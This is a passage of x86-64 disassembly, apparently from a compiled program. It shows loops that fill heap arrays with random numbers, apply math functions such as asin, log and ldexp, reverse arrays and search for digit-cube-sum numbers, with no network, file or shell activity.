mov dword [rbp + 0x3288], 0
jmp 0x31bfa328c
mov eax, dword [rbp + 0x3288]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f40]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x3288]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1f40]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x3288], 1
cmp dword [rbp + 0x3288], 0xab
jle 0x31bfa323a
mov ecx, 0x118
call sym.malloc
mov qword [rbp + 0x1f38], rax
mov ecx, 0x118
call sym.malloc
mov qword [rbp + 0x1f30], rax
mov ecx, 0x118
call sym.malloc
mov qword [rbp + 0x1f28], rax
mov dword [rbp + 0x3284], 0
jmp 0x31bfa33c4
mov dword [rbp + 0x3280], 0
jmp 0x31bfa33b0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3284]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x1f38]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3280]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3284]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x1f30]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x3280]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x3280], 1
cmp dword [rbp + 0x3280], 6
jle 0x31bfa32e9
add dword [rbp + 0x3284], 1
cmp dword [rbp + 0x3284], 9
jle 0x31bfa32da
mov dword [rbp + 0x3284], 0
jmp 0x31bfa34a1
mov dword [rbp + 0x3280], 0
jmp 0x31bfa348d
mov eax, dword [rbp + 0x3284]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1f38]
add rdx, rax
mov eax, dword [rbp + 0x3280]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x3284]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1f30]
add rdx, rax
mov eax, dword [rbp + 0x3280]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x3284]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1f28]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x3280]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x3280], 1
cmp dword [rbp + 0x3280], 6
jle 0x31bfa33ef
add dword [rbp + 0x3284], 1
cmp dword [rbp + 0x3284], 9
jle 0x31bfa33e0
mov rax, qword [rbp + 0x1f38]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f30]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f28]
mov rcx, rax
call sym.free
mov qword [rbp + 0x3270], 0
mov dword [rbp + 0x327c], 0x215
jmp 0x31bfa3508
mov eax, dword [rbp + 0x327c]
cdqe
add qword [rbp + 0x3270], rax
sub dword [rbp + 0x327c], 1
cmp dword [rbp + 0x327c], 0
jg 0x31bfa34f2
mov dword [rbp + 0x326c], 0xffffffff
mov ecx, 0x3b0
call sym.malloc
mov qword [rbp + 0x1f20], rax
add dword [rbp + 0x326c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x326c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f20]
add rax, rdx
movsd xmm1, qword [0x31bfd30d8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x326c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f20]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x326c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f20]
add rax, rdx
movq xmm1, qword [0x31bfd3100]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x326c], 0x74
jle 0x31bfa352c
mov ecx, 0x340
call sym.malloc
mov qword [rbp + 0x1f18], rax
mov ecx, 0x340
call sym.malloc
mov qword [rbp + 0x1f10], rax
mov ecx, 0x340
call sym.malloc
mov qword [rbp + 0x1f08], rax
mov ecx, 0x340
call sym.malloc
mov qword [rbp + 0x1f00], rax
mov dword [rbp + 0x3264], 0xcf
mov dword [rbp + 0x3268], 0
jmp 0x31bfa3738
call sym.rand
mov edx, dword [rbp + 0x3268]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1f18]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x3268]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1f10]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x3264]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f18]
add rax, rdx
mov edx, dword [rbp + 0x3268]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1f08]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x3264]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1f10]
add rax, rdx
mov edx, dword [rbp + 0x3268]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1f00]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x3264], 1
add dword [rbp + 0x3268], 1
cmp dword [rbp + 0x3268], 0xcf
jle 0x31bfa362c
mov rax, qword [rbp + 0x1f18]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f10]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f08]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1f00]
mov rcx, rax
call sym.free
mov ecx, 0x2c4
call sym.malloc
mov qword [rbp + 0x1ef8], rax
mov ecx, 0x2c4
call sym.malloc
mov qword [rbp + 0x1ef0], rax
mov dword [rbp + 0x325c], 0xb0
mov dword [rbp + 0x3260], 0
jmp 0x31bfa384c
call sym.rand
mov edx, dword [rbp + 0x3260]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1ef8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x325c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1ef8]
add rax, rdx
mov edx, dword [rbp + 0x3260]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1ef0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x325c], 1
add dword [rbp + 0x3260], 1
cmp dword [rbp + 0x3260], 0xb0
jle 0x31bfa37bf
mov rax, qword [rbp + 0x1ef8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1ef0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x3258], 0xffffffff
add dword [rbp + 0x3258], 1
call sym.rand
imul eax, eax, 0x398
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x1ee8], rax
cmp dword [rbp + 0x3258], 0x7a
jle 0x31bfa3884
mov dword [rbp + 0x3250], 1
jmp 0x31bfa398a
mov dword [rbp + 0x3254], 0
mov eax, dword [rbp + 0x3250]
mov dword [rbp + 0x324c], eax
jmp 0x31bfa3960
mov edx, dword [rbp + 0x324c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x148], edx
mov eax, dword [rbp + 0x148]
imul eax, eax
imul eax, dword [rbp + 0x148]
add dword [rbp + 0x3254], eax
mov eax, dword [rbp + 0x324c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
jne 0x31bfa38f5
mov eax, dword [rbp + 0x3254]
cmp eax, dword [rbp + 0x3250]
jne 0x31bfa3983
mov eax, dword [rbp + 0x3250]
mov dword [rbp + 0x14c], eax
add dword [rbp + 0x3250], 1
cmp dword [rbp + 0x3250], 0x36
jle 0x31bfa38dd
mov dword [rbp + 0x3244], 1
jmp 0x31bfa3a53
mov dword [rbp + 0x3248], 0
mov eax, dword [rbp + 0x3244]
mov dword [rbp + 0x3240], eax
jmp 0x31bfa3a29
mov edx, dword [rbp + 0x3240]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x150], edx
mov eax, dword [rbp + 0x150]
imul eax, eax
imul eax, dword [rbp + 0x150]
add dword [rbp + 0x3248], eax
mov eax, dword [rbp + 0x3240]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x3240], eax
cmp dword [rbp + 0x3240], 0
jne 0x31bfa39be
mov eax, dword [rbp + 0x3248]
cmp eax, dword [rbp + 0x3244]
jne 0x31bfa3a4c
cmp dword [rbp + 0x3244], 0x16b
jle 0x31bfa39a6
mov ecx, 0x894
call sym.malloc
mov qword [rbp + 0x1ee0], rax
mov dword [rbp + 0x323c], 0
jmp 0x31bfa3afe
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x164], eax
mov ecx, dword [rbp + 0x164]
mov eax, ecx
shl eax, 2
add eax, ecx
shl eax, 2
sub edx, eax
mov dword [rbp + 0x164], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x31bfd30d0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x164]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x158], rax
add dword [rbp + 0x323c], 1
cmp dword [rbp + 0x323c], 0x21
jle 0x31bfa3a80
mov dword [rbp + 0x3238], 0
jmp 0x31bfa3b58
mov eax, dword [rbp + 0x20b0]
movups xmm6, xmmword [rbp + 0x32f0]
add rsp, 0x3388
pop rbx
pop rbp
ret